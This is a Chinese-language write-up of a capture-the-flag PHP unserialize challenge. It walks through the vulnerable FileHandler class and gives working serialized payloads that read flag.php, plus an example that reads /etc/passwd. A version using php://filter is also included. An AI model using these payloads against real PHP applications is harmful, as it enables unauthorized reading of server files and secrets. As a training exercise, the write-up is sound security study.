前言

本道题是在BUUCTF平台刷题的过程中复现的,业界都说网鼎杯比赛是神仙打架,时隔三年之后来看网鼎杯的题目,发现还是非常有意思的。于是将本题的WP单独发出来了,后续也会继续做最新的网鼎杯题目。

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

代码审计

经过代码审计我们需要读取到 flag.php 的内容得到 FLAG,并且我们这里需要解决两个问题

  • 只有当 $op==2 的时候才可以读取文件
  • 我们需要绕过 is_valid() 函数的检测,该函数检测我们传入的每个值只能是ASCII码 32 到 125 之间的。由于 FileHandler 类中的三个属性都是受保护的,因此这里必将会用到 00 字节,我们需要想办法绕过。

前置知识

利用 php>7.1 版本对类属性的检测不严格(对属性类型不敏感)

例题:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php 
class BUU {
// 私有属性
private $filename;

function __destruct()
{
echo file_get_contents($this->filename);
}
}
if (isset($_GET['str'])) {
unserialize($_GET['str']);
}

在PHP<7.1版本中必须使用私有属性filename才可以对以上类进行反序列化,例如:

1
2
3
4
5
6
7
8
<?php 
class BUU {
// 注意这里是私有属性反序列化与题目的一致
private $filename = '/etc/passwd';
}
echo urlencode(serialize(new BUU));
// O%3A3%3A%22BUU%22%3A1%3A%7Bs%3A13%3A%22%00BUU%00filename%22%3Bs%3A11%3A%22%2Fetc%2Fpasswd%22%3B%7D
?>

传入如下参数可以正常文件读取:

1
?str=O%3A3%3A%22BUU%22%3A1%3A%7Bs%3A13%3A%22%00BUU%00filename%22%3Bs%3A11%3A%22%2Fetc%2Fpasswd%22%3B%7D

image-20231119223109329

在PHP>7.1版本中可以使用其他访问权限反序列化私有属性filename,例如:

1
2
3
4
5
6
7
<?php 
class BUU {
// 注意这里是私有属性反序列化与题目的一致
public $filename = '/etc/passwd';
}
echo serialize(new BUU); // O:3:"BUU":1:{s:8:"filename";s:11:"/etc/passwd";}
?>

将PHP版本修改为 PHP 7.2。

image-20231119223443619

结论:发现这里使用公有属性的filename也能反序列化成功BUU类的private属性filename!

解题

通过服务器响应的字段发现这里使用的PHP版本为 PHP 7.4.3,因此我们可以使用上述漏洞 **php>7.1 版本对类属性的检测不严格(对属性类型不敏感)**。

image-20231119223706362

因此我们在构造序列化代码的时候,可以直接将三个属性修改为 public,这样就不会有 00 字符,自然不会被 is_valid 函数所拦截。

image-20231119223917875

接着我们来看 FileHandler 类的两个危险方法 read()wirte()

image-20231119224025419

image-20231119224037150

而这两个函数不是魔术方法,因此需要手动调用,在 process 方法中发现调用了这两个函数。

image-20231119224146312

而 process 函数也需要手动调用,发现在 __destruct() 函数中调用了该函数:

image-20231119224236435

但是这里需要使用到弱类型比较特性,__destruct() 函数里面判断了如果 $op 的值 全等于 2,则会将其重新赋值为1。接着我们原本想读取 flag.php,就变成了要写入文件内容了,同时这里会将 content 属性的值重新赋值为空,因此这里如果写文件,写的也是空内容的文件,没有任何效果。

image-20231119224412792

由于 __destruct 方法在判断 $op 属性值的时候,使用的是 === 即也判断数据的类型,即 '2' === 2 是不成立的,而在 __process 中判断 $op 值来决定是执行写入还是读取,使用的是 == 即不比较数据类型,会进行隐式类型转换,即 '2' == 2 成立的。

故而我们最终的EXP为:

1
2
3
4
5
6
7
8
9
<?php 
class FileHandler {
public $op = 2;
public $filename = 'flag.php';
public $conntent = '';
}

echo serialize(new FileHandler);
// O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:8:"conntent";s:0:"";}

传参如下:

1
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:8:"conntent";s:0:"";}

右键查看源代码得到 FLAG。

image-20231119224938669

总结:这里其实就是使用了 php>7.1 版本对类属性的检测不严格(对属性类型不敏感) 和 PHP弱类型比较的特性进行解题的。

这种是非预期的解法。

解题-2

这里预期的解法是使用 php://filter 协议读取 flag.php

1
2
3
4
5
6
7
8
9
<?php 
class FileHandler {
public $op = 2;
public $filename = 'php://filter/read=convert.base64-encode/resource=flag.php';
public $conntent = '';
}

echo serialize(new FileHandler);
// ?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:8:"conntent";s:0:"";}